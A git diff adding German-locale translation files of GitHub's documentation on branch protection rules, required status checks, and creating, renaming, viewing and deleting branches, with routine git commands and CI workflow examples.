+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+   - Optionally, to allow specific actors to push code to the branch without creating pull requests when they're required, select **Allow specified actors to bypass required pull requests**. Then, search for and select the actors who should be allowed to skip creating a pull request.
+     ![Allow specific actors to bypass pull request requirements checkbox]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/PR-bypass-requirements-with-apps.png){% else %}(/assets/images/help/repository/PR-bypass-requirements.png){% endif %}
+{% endif %}
+   - Optionally, if the repository is part of an organization, select **Restrict who can dismiss pull request reviews**. Then, search for and select the actors who are allowed to dismiss pull request reviews. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)."
+     ![Restrict who can dismiss pull request reviews checkbox]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/PR-review-required-dismissals-with-apps.png){% else %}(/assets/images/help/repository/PR-review-required-dismissals.png){% endif %}
+{% ifversion last-pusher-require-approval %}
+   - Optionally, to require someone other than the last person to push to a branch to approve a pull request prior to merging, select **Require approval from someone other than the last pusher**. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-pull-request-reviews-before-merging)."
+     ![Require review from someone other than the last pusher](/assets/images/help/repository/last-pusher-review-required.png)
+{% endif %}
+1. Optionally, enable required status checks. For more information, see "[About status checks](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks)."
+   - Select **Require status checks to pass before merging**.
+     ![Required status checks option](/assets/images/help/repository/required-status-checks.png)
+   - Optionally, to ensure that pull requests are tested with the latest code on the protected branch, select **Require branches to be up to date before merging**.
+     ![Loose or strict required status checkbox](/assets/images/help/repository/protecting-branch-loose-status.png)
+   - Search for status checks, selecting the checks you want to require.
+     ![Search interface for available status checks, with list of required checks](/assets/images/help/repository/required-statuses-list.png)
+1. Optionally, select **Require conversation resolution before merging**.
+  ![Require conversation resolution before merging option](/assets/images/help/repository/require-conversation-resolution.png)
+1. Optionally, select **Require signed commits**.
+  ![Require signed commits option](/assets/images/help/repository/require-signed-commits.png)
+1. Optionally, select **Require linear history**.
+  ![Required linear history option](/assets/images/help/repository/required-linear-history.png)
+{%- ifversion fpt or ghec %}
+1. Optionally, to merge pull requests using a merge queue, select **Require merge queue**. {% data reusables.pull_requests.merge-queue-references %}
+  ![Require merge queue option](/assets/images/help/repository/require-merge-queue.png)
+  {% tip %}
+
+  **Tip:** The pull request merge queue feature is currently in limited public beta and subject to change. Organizations owners can request early access to the beta by joining the [waitlist](https://github.com/features/merge-queue/signup).
+
+  {% endtip %}
+{%- endif %}
+{%- ifversion required-deployments %}
+1. Optionally, to choose which environments the changes must be successfully deployed to before merging, select **Require deployments to succeed before merging**, then select the environments.
+   ![Require successful deployment option](/assets/images/help/repository/require-successful-deployment.png)
+{%- endif %}
+{% ifversion lock-branch %}
+1. Optionally, select **Lock branch** to make branch read-only.
+![Screenshot of the checkbox to lock a branch](/assets/images/help/repository/lock-branch.png) 
+   -  Optionally, to allow fork syncing, select **Allow fork syncing**.
+![Screenshot of the checkbox to allow fork syncing](/assets/images/help/repository/lock-branch-forksync.png) 
+{%- endif %}
+1. Optionally, select {% ifversion bypass-branch-protections %}**Do not allow bypassing the above settings**.
+![Do not allow bypassing the above settings checkbox](/assets/images/help/repository/do-not-allow-bypassing-the-above-settings.png){% else %}**Apply the rules above to administrators**.
+![Apply the rules above to administrators checkbox](/assets/images/help/repository/include-admins-protected-branches.png){% endif %}
+1. Optionally,{% ifversion fpt or ghec %} if your repository is owned by an organization using {% data variables.product.prodname_team %} or {% data variables.product.prodname_ghe_cloud %},{% endif %} enable branch restrictions.
+   - Select **Restrict who can push to matching branches**.
+     ![Branch restriction checkbox](/assets/images/help/repository/restrict-branch.png){% ifversion restrict-pushes-create-branch %}
+   - Optionally, to also restrict the creation of matching branches, select **Restrict pushes that create matching branches**.
+     ![Branch creation restriction checkbox](/assets/images/help/repository/restrict-branch-create.png){% endif %}
+   - Search for and select the people, teams, or apps who will have permission to push to the protected branch or create a matching branch.
+     ![Branch restriction search]{% ifversion restrict-pushes-create-branch %}(/assets/images/help/repository/restrict-branch-search-with-create.png){% else %}(/assets/images/help/repository/restrict-branch-search.png){% endif %}
+1. Optionally, under "Rules applied to everyone including administrators", select **Allow force pushes**.
+  ![Allow force pushes option](/assets/images/help/repository/allow-force-pushes.png)
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+  Then, choose who can force push to the branch.
+    - Select **Everyone** to allow everyone with at least write permissions to the repository to force push to the branch, including those with admin permissions.
+    - Select **Specify who can force push** to allow only specific actors to force push to the branch. Then, search for and select those actors.
+      ![Screenshot of the options to specify who can force push]{% ifversion integration-branch-protection-exceptions %}(/assets/images/help/repository/allow-force-pushes-specify-who-with-apps.png){% else %}(/assets/images/help/repository/allow-force-pushes-specify-who.png){% endif %}
+{% endif %}
+
+    For more information about force pushes, see "[Allow force pushes](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches/#allow-force-pushes)."
+1. Optionally, select **Allow deletions**.
+  ![Allow branch deletions option](/assets/images/help/repository/allow-branch-deletions.png)
+1. Click **Create**.
+
+## Editing a branch protection rule
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.repository-branches %}
+1. To the right of the branch protection rule you want to edit, click **Edit**.
+  ![Edit button](/assets/images/help/repository/edit-branch-protection-rule.png)
+1. Make your desired changes to the branch protection rule.
+1. Click **Save changes**.
+  ![Save changes button](/assets/images/help/repository/save-branch-protection-rule.png)
+
+## Deleting a branch protection rule
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.repository-branches %}
+1. To the right of the branch protection rule you want to delete, click **Delete**.
+    ![Delete button](/assets/images/help/repository/delete-branch-protection-rule.png)
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
new file mode 100644
index 0000000000..5a6d3d43e3
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks.md
@@ -0,0 +1,122 @@
+---
+title: Troubleshooting required status checks
+intro: You can check for common errors and resolve issues with required status checks.
+product: '{% data reusables.gated-features.protected-branches %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+redirect_from:
+  - /github/administering-a-repository/troubleshooting-required-status-checks
+  - /github/administering-a-repository/defining-the-mergeability-of-pull-requests/troubleshooting-required-status-checks
+shortTitle: Required status checks
+---
+If you have a check and a status with the same name, and you select that name as a required status check, both the check and the status are required. For more information, see "[Checks](/rest/reference/checks)."
+
+After you enable required status checks, your branch may need to be up-to-date with the base branch before merging. This ensures that your branch has been tested with the latest code from the base branch. If your branch is out of date, you'll need to merge the base branch into your branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)."
+
+{% note %}
+
+**Note:** You can also bring your branch up to date with the base branch using Git rebase. For more information, see "[About Git rebase](/github/getting-started-with-github/about-git-rebase)."
+
+{% endnote %}
+
+You won't be able to push local changes to a protected branch until all required status checks pass. Instead, you'll receive an error message similar to the following.
+
+```shell
+remote: error: GH006: Protected branch update failed for refs/heads/main.
+remote: error: Required status check "ci-build" is failing
+```
+{% note %}
+
+**Note:** Pull requests that are up-to-date and pass required status checks can be merged locally and pushed to the protected branch. This can be done without status checks running on the merge commit itself.
+
+{% endnote %}
+
+## Conflicts between head commit and test merge commit
+
+Sometimes, the results of the status checks for the test merge commit and head commit will conflict. If the test merge commit has a status, the test merge commit must pass. Otherwise, the status of the head commit must pass before you can merge the branch. For more information about test merge commits, see "[Pulls](/rest/reference/pulls#get-a-pull-request)."
+
+![Branch with conflicting merge commits](/assets/images/help/repository/req-status-check-conflicting-merge-commits.png)
+
+## Handling skipped but required checks
+
+{% note %}
+
+**Note:** If a workflow is skipped due to [path filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), [branch filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpull_requestpull_request_targetbranchesbranches-ignore) or a [commit message](/actions/managing-workflow-runs/skipping-workflow-runs), then checks associated with that workflow will remain in a "Pending" state. A pull request that requires those checks to be successful will be blocked from merging.
+
+If a job in a workflow is skipped due to a conditional, it will report its status as "Success". For more information see [Skipping workflow runs](/actions/managing-workflow-runs/skipping-workflow-runs) and [Using conditions to control job execution](/actions/using-jobs/using-conditions-to-control-job-execution).
+
+{% endnote %}
+
+### Example
+
+The following example shows a workflow that requires a "Successful" completion status for the `build` job, but the workflow will be skipped if the pull request does not change any files in the `scripts` directory.
+
+```yaml
+name: ci
+on:
+  pull_request:
+    paths:
+      - 'scripts/**'
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        node-version: [12.x, 14.x, 16.x]
+    steps:
+    - uses: {% data reusables.actions.action-checkout %}
+    - name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %}
+      uses: {% data reusables.actions.action-setup-node %}
+      with:
+        node-version: {% raw %}${{ matrix.node-version }}{% endraw %}
+        cache: 'npm'
+    - run: npm ci
+    - run: npm run build --if-present
+    - run: npm test
+```
+
+Due to [path filtering](/actions/using-workflows/workflow-syntax-for-github-actions#onpushpull_requestpull_request_targetpathspaths-ignore), a pull request that only changes a file in the root of the repository will not trigger this workflow and is blocked from merging. You would see the following status on the pull request:
+
+![Required check skipped but shown as pending](/assets/images/help/repository/PR-required-check-skipped.png)
+
+You can fix this by creating a generic workflow, with the same name, that will return true in any case similar to the workflow below :
+
+```yaml
+name: ci
+on:
+  pull_request:
+    paths-ignore:
+      - 'scripts/**'
+      - 'middleware/**'
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - run: 'echo "No build required"'
+```
+Now the checks will always pass whenever someone sends a pull request that doesn't change the files listed under `paths` in the first workflow.
+
+![Check skipped but passes due to generic workflow](/assets/images/help/repository/PR-required-check-passed-using-generic.png)
+
+{% note %}
+
+**Notes:**
+* Make sure that the `name` key and required job name in both the workflow files are the same. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)".
+* The example above uses {% data variables.product.prodname_actions %} but this workaround is also applicable to other CI/CD providers that integrate with {% data variables.product.company_short %}.
+
+{% endnote %}
+
+{% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}
+## Required status checks from unexpected sources
+
+It's also possible for a protected branch to require a status check from a specific {% data variables.product.prodname_github_app %}. If you see a message similar to the following, then you should verify that the check listed in the merge box was set by the expected app.
+
+```
+Required status check "build" was not set by the expected {% data variables.product.prodname_github_app %}.
+```
+{% endif %}
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/index.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/index.md
new file mode 100644
index 0000000000..76438caa27
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/index.md
@@ -0,0 +1,23 @@
+---
+title: Konfigurieren von Branches und Merges in deinem Repository
+intro: 'Du kannst Branches in deinem Repository verwalten, die Art und Weise konfigurieren, wie Branches in deinem Repository gemergt werden, und wichtige Branches schützen, indem du die Merge-Fähigkeit von Pull Requests definierst.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /managing-branches-in-your-repository
+  - /configuring-pull-request-merges
+  - /defining-the-mergeability-of-pull-requests
+shortTitle: Branches and merges
+ms.openlocfilehash: b9eba1157a3d3b4e77195dbb26541ec20aea52bc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132394'
+---
+
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
new file mode 100644
index 0000000000..94b719eacb
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/changing-the-default-branch.md
@@ -0,0 +1,52 @@
+---
+title: Changing the default branch
+intro: 'If you have more than one branch in your repository, you can configure any branch as the default branch.'
+permissions: People with admin access for a repository can change the default branch for the repository.
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+redirect_from:
+  - /github/administering-a-repository/setting-the-default-branch
+  - /articles/setting-the-default-branch
+  - /github/administering-a-repository/changing-the-default-branch
+  - /github/administering-a-repository/managing-branches-in-your-repository/changing-the-default-branch
+topics:
+  - Repositories
+shortTitle: Change the default branch
+---
+## About changing the default branch
+
+You can choose the default branch for a repository. The default branch is the base branch for pull requests and code commits. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)."
+
+{% ifversion not ghae %}
+{% note %}
+
+**Note**: If you use the Git-Subversion bridge, changing the default branch will affect your `trunk` branch contents and the `HEAD` you see when you list references for the remote repository. For more information, see "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients)" and [git-ls-remote](https://git-scm.com/docs/git-ls-remote.html) in the Git documentation.
+
+{% endnote %}
+{% endif %}
+
+You can also rename the default branch. For more information, see "[Renaming a branch](/github/administering-a-repository/renaming-a-branch)."
+
+{% data reusables.branches.set-default-branch %}
+
+## Prerequisites
+
+To change the default branch, your repository must have more than one branch. For more information, see "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)."
+
+## Changing the default branch
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.repository-branches %}
+1. Under "Default branch", to the right of the default branch name, click {% octicon "arrow-switch" aria-label="The switch icon with two arrows" %}.
+   ![Switch icon with two arrows to the right of current default branch name](/assets/images/help/repository/repository-options-defaultbranch-change.png)
+1. Use the drop-down, then click a branch name.
+   ![Drop-down to choose new default branch](/assets/images/help/repository/repository-options-defaultbranch-drop-down.png)
+1. Click **Update**.
+   !["Update" button after choosing a new default branch](/assets/images/help/repository/repository-options-defaultbranch-update.png)
+1. Read the warning, then click **I understand, update the default branch.**
+   !["I understand, update the default branch." button to perform the update](/assets/images/help/repository/repository-options-defaultbranch-i-understand.png)
+
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
new file mode 100644
index 0000000000..66e579a197
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request.md
@@ -0,0 +1,49 @@
+---
+title: Branches in einem Pull Request löschen und wiederherstellen
+intro: 'Wenn du Schreibzugriff auf ein Repository hast, kannst du Branches löschen, die mit geschlossenen oder zusammengeführten Pull Requests verknüpft sind. Branches, die mit offenen Pull Requests verbunden sind, kannst du nicht löschen.'
+redirect_from:
+  - /articles/tidying-up-pull-requests
+  - /articles/restoring-branches-in-a-pull-request
+  - /articles/deleting-unused-branches
+  - /articles/deleting-and-restoring-branches-in-a-pull-request
+  - /github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request
+  - /github/administering-a-repository/managing-branches-in-your-repository/deleting-and-restoring-branches-in-a-pull-request
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Delete & restore branches
+ms.openlocfilehash: 48007869ae43d39553e0f8948f90e89b7fb73af0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132369'
+---
+## Löschen eines Branches, der für einen Pull-Request verwendet wurde
+
+Du kannst einen mit einem Pull Request verbundenen Branch löschen, wenn der Pull Request zusammengeführt oder geschlossen wurden und wenn keine weiteren, offenen Pull Request mit Referenz zum Branch vorhanden sind. Informationen zum Schließen von Branches, die nicht Pull Requests zugeordnet sind, findest du unter „[Erstellen und Löschen von Branches innerhalb deines Repositorys](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)".
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.list-closed-pull-requests %}
+4. Klicke in der Liste der Pull Requests auf den Pull Request, der mit dem Branch verknüpft ist, den Du löschen möchtest.
+5. Klicke am unteren Rand des Pull Requests auf **Branch löschen**.
+   ![Schaltfläche Branch löschen](/assets/images/help/pull_requests/delete_branch_button.png)
+
+   Diese Schaltfläche wird nicht angezeigt, wenn es aktuell einen offenen Pull Request für diesen Branch hat.
+
+## Einen gelöschten Branch wiederherstellen
+
+Du kannst den Head-Branch eines geschlossenen Pull Requests wiederherstellen.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-pr %} {% data reusables.repositories.list-closed-pull-requests %}
+4. Klicke in der Liste der Pull Requests auf den Pull Request, der mit dem Branch verknüpft ist, den Du wiederherstellen möchtest.
+5. Klicke am unteren Rand des Pull Requests auf **Branch wiederherstellen**.
+   ![Schaltfläche Branch wiederherstellen](/assets/images/help/branches/branches-restore-deleted.png)
+
+## Weiterführende Themen
+
+- [Erstellen und Löschen von Branches innerhalb deines Repositorys](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository)
+- „[Automatische Löschung von Branches verwalten](/github/administering-a-repository/managing-the-automatic-deletion-of-branches)“
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/index.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/index.md
new file mode 100644
index 0000000000..804836c631
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/index.md
@@ -0,0 +1,27 @@
+---
+title: Verwalten von Branches in deinem Repository
+intro: 'Immer wenn du eine Änderung in Git vorschlägst, [erstellst du einen neuen Branch](/articles/creating-and-deleting-branches-within-your-repository/). Die Branchverwaltung ist ein wichtiger Teil des Git-Workflows. Nach einiger Zeit wächst die Liste deiner Branches. Daher wird empfohlen, gemergte oder veraltete Branches zu löschen.'
+redirect_from:
+  - /articles/managing-branches-in-your-repository
+  - /github/administering-a-repository/managing-branches-in-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /viewing-branches-in-your-repository
+  - /renaming-a-branch
+  - /changing-the-default-branch
+  - /deleting-and-restoring-branches-in-a-pull-request
+shortTitle: Manage branches
+ms.openlocfilehash: ba89b34a3372621f2d0fc077030e5321a1443118
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145132358'
+---
+
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
new file mode 100644
index 0000000000..16551aab62
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md
@@ -0,0 +1,53 @@
+---
+title: Renaming a branch
+intro: You can change the name of a branch in a repository.
+permissions: 'People with write permissions to a repository can rename a branch in the repository unless it is the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch){% ifversion fpt or ghec or ghes > 3.3 %} or a [protected branch](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches){% endif %}. People with admin permissions can rename the default branch{% ifversion fpt or ghec or ghes > 3.3 %} and protected branches{% endif %}.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+redirect_from:
+  - /github/administering-a-repository/renaming-a-branch
+  - /github/administering-a-repository/managing-branches-in-your-repository/renaming-a-branch
+---
+## About renaming branches
+
+You can rename a branch in a repository on {% data variables.location.product_location %}. For more information about branches, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches))."
+
+When you rename a branch on {% data variables.location.product_location %}, any URLs that contain the old branch name are automatically redirected to the equivalent URL for the renamed branch. Branch protection policies are also updated, as well as the base branch for open pull requests (including those for forks) and draft releases. After the rename is complete, {% data variables.product.prodname_dotcom %} provides instructions on the repository's home page directing contributors to update their local Git environments.
+
+Although file URLs are automatically redirected, raw file URLs are not redirected. Also, {% data variables.product.prodname_dotcom %} does not perform any redirects if users perform a `git pull` for the previous branch name.
+
+{% data variables.product.prodname_actions %} workflows do not follow renames, so if your repository publishes an action, anyone using that action with `@{old-branch-name}` will break. You should consider adding a new branch with the original content plus an additional commit reporting that the branch name is deprecated and suggesting that users migrate to the new branch name.
+
+## Renaming a branch
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.navigate-to-branches %}
+1. In the list of branches, to the right of the branch you want to rename, click {% octicon "pencil" aria-label="The edit icon" %}.
+    ![Pencil icon to the right of branch you want to rename](/assets/images/help/branch/branch-rename-edit.png)
+1. Type a new name for the branch.
+    ![Text field for typing new branch name](/assets/images/help/branch/branch-rename-type.png)
+1. Review the information about local environments, then click **Rename branch**.
+    ![Local environment information and "Rename branch" button](/assets/images/help/branch/branch-rename-rename.png)
+
+## Updating a local clone after a branch name changes
+
+After you rename a branch in a repository on {% data variables.product.product_name %}, any collaborator with a local clone of the repository will need to update the clone.
+
+From the local clone of the repository on a computer, run the following commands to update the name of the default branch.
+
+```shell
+$ git branch -m OLD-BRANCH-NAME NEW-BRANCH-NAME
+$ git fetch origin
+$ git branch -u origin/NEW-BRANCH-NAME NEW-BRANCH-NAME
+$ git remote set-head origin -a
+```
+
+Optionally, run the following command to remove tracking references to the old branch name.
+```
+$ git remote prune origin
+```
diff --git a/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository.md b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository.md
new file mode 100644
index 0000000000..05cbc9e4cc
--- /dev/null
+++ b/translations/de-DE/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository.md
@@ -0,0 +1,37 @@
+---
+title: Branches in Deinem Repository anzeigen
+intro: 'Branches sind entscheidend für die Zusammenarbeit auf {% data variables.product.product_name %}. Du lässt dich bestmöglich auf der Branches-Seite anzeigen.'
+redirect_from:
+  - /articles/viewing-branches-in-your-repository
+  - /github/administering-a-repository/viewing-branches-in-your-repository
+  - /github/administering-a-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: View branches
+ms.openlocfilehash: 286c8eb8c717f5a002db0059e65c416ccc3981e8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145132352'
+---
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.navigate-to-branches %}
+3. Mithilfe der im oberen Bereich der Seite befindlichen Navigation kannst Du spezifische Listen der Branches anzeigen:
+    - **Your branches** (Ihre Branches): In Repositorys, auf die Du per Push-Vorgang zugreifen kannst, zeigt die Ansicht **Yours** (Ihre) alle Branches an, an die Du Elemente per Push-Vorgang übertragen hast, wobei die neuesten Branches zuerst angezeigt werden.
+    - **Active branches** (Aktive Branches): Die Ansicht **Active** (Aktiv) zeigt alle Branches an, zu denen in den letzten drei Monaten Commits beigetragen wurden, wobei die Reihenfolge so lautet, dass zunächst die Branches mit den neuesten Commits angezeigt werden.
+    - **Stale branches** (Alte Branches): Die Ansicht **Stale** (Alt) zeigt alle Branches an, zu denen in den letzten drei Monaten keine Commits beigetragen wurden, wobei die Reihenfolge so lautet, dass zunächst die Branches mit den ältesten Commits angezeigt werden. Verwende diese Liste, um zu bestimmen, welche [Branches gelöscht werden sollen](/articles/creating-and-deleting-branches-within-your-repository).
+    - **All branches** (Alle Branches): Die Ansicht **All** (Alle) zeigt den Standardbranch, gefolgt von allen anderen Branches, wobei die Reihenfolge so lautet, dass zunächst die Branches mit den neuesten Commits angezeigt werden.
+
+4. Verwende optional das Suchfeld oben rechts. Es bietet eine einfache, von Groß- und Kleinschreibung unabhängige Suche nach Teilstrings des Branchnamens. Es unterstützt keine zusätzliche Abfragesyntax.
+
+![Die Branches-Seite für das Atom-Repository](/assets/images/help/branches/branches-overview-atom.png)
+
+## Weiterführende Themen
+
+- [Erstellen und Löschen von Branches innerhalb deines Repositorys](/articles/creating-and-deleting-branches-within-your-repository)
+- „[Löschen nicht verwendeter Branches](/articles/deleting-unused-branches)“
diff --git a/translations/de-DE/content/repositories/creating-and-managing-repositories/about-repositories.md b/translations/de-DE/content/repositories/creating-and-managing-repositories/about-repositories.md
new file mode 100644
index 0000000000..6003599ddb
--- /dev/null
+++ b/translations/de-DE/content/repositories/creating-and-managing-repositories/about-repositories.md
@@ -0,0 +1,142 @@
+---
+title: Informationen zu Repositorys
+intro: Ein Repository enthält alle Dateien deines Projekts und den Revisionsverlauf jeder Datei. Im Repository kannst du die Arbeit an deinem Projekt diskutieren und verwalten.
+redirect_from:
+  - /articles/about-repositories
+  - /github/creating-cloning-and-archiving-repositories/about-repositories
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories
+  - /github/creating-cloning-and-archiving-repositories/about-repository-visibility
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repository-visibility
+  - /articles/what-are-the-limits-for-viewing-content-and-diffs-in-my-repository
+  - /articles/limits-for-viewing-content-and-diffs-in-a-repository
+  - /github/creating-cloning-and-archiving-repositories/limits-for-viewing-content-and-diffs-in-a-repository
+  - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/limits-for-viewing-content-and-diffs-in-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+ms.openlocfilehash: af0b8eb9f8bd7a98c246a0806a8bc60f59ba147f
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107285'
+---
+## Informationen zu Repositorys
+
+Du kannst Repositorys einzeln besitzen oder die Inhaberschaft an Repositorys mit anderen Personen in einer Organisation teilen.
+
+Du kannst einschränken, wer Zugriff auf ein Repository hat, indem du die Sichtbarkeit des Repositorys auswählst. Weitere Informationen findest du unter [Informationen zur Sichtbarkeit von Repositorys](#about-repository-visibility).
+
+Bei benutzereigenen Repositorys kannst du anderen Personen Mitarbeiterzugriff geben, damit sie an deinem Projekt mitarbeiten können. Wenn ein Repository im Besitz einer Organisation ist, kannst du den Mitgliedern der Organisation Zugriffsberechtigungen für die Mitarbeit an deinem Repository erteilen. Weitere Informationen findest du unter [Berechtigungsebenen für ein Repository eines persönlichen Kontos](/articles/permission-levels-for-a-user-account-repository/) und unter [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization).
+
+{% ifversion fpt or ghec %} Mit {% data variables.product.prodname_free_team %} für persönliche Konten und Organisationen kannst du mit einer unbegrenzten Anzahl an Projektmitarbeitern in unbegrenzten öffentlichen Repositorys mit allen Features oder in unbegrenzten privaten Repositorys mit begrenzten Features arbeiten. Um erweiterte Werkzeuge für private Repositorys zu erhalten, kannst du ein Upgrade auf {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %} oder{% data variables.product.prodname_ghe_cloud %} durchführen. {% data reusables.gated-features.more-info %} {% else %} Jede Person und Organisation kann eine unbegrenzte Anzahl an Repositorys besitzen und eine unbegrenzte Menge an Projektmitarbeiter*innen zu allen Repositorys einladen.
+{% endif %}
+
+Du kannst Repositorys zum Verwalten deiner Arbeit und zur Zusammenarbeit mit anderen verwenden.
+- Du kannst Issues verwenden, um Benutzerfeedback zu sammeln, Softwarefehler zu melden und auszuführende Aufgaben zu organisieren. Weitere Informationen findest du unter [Informationen zu Issues](/github/managing-your-work-on-github/about-issues). {% ifversion fpt or ghec %}
+- {% data reusables.discussions.you-can-use-discussions %}{% endif %}
+- Du kannst Pull Requests verwenden, um Änderungen an einem Repository vorzuschlagen. Weitere Informationen findest du unter [Informationen zu Pull Requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests).
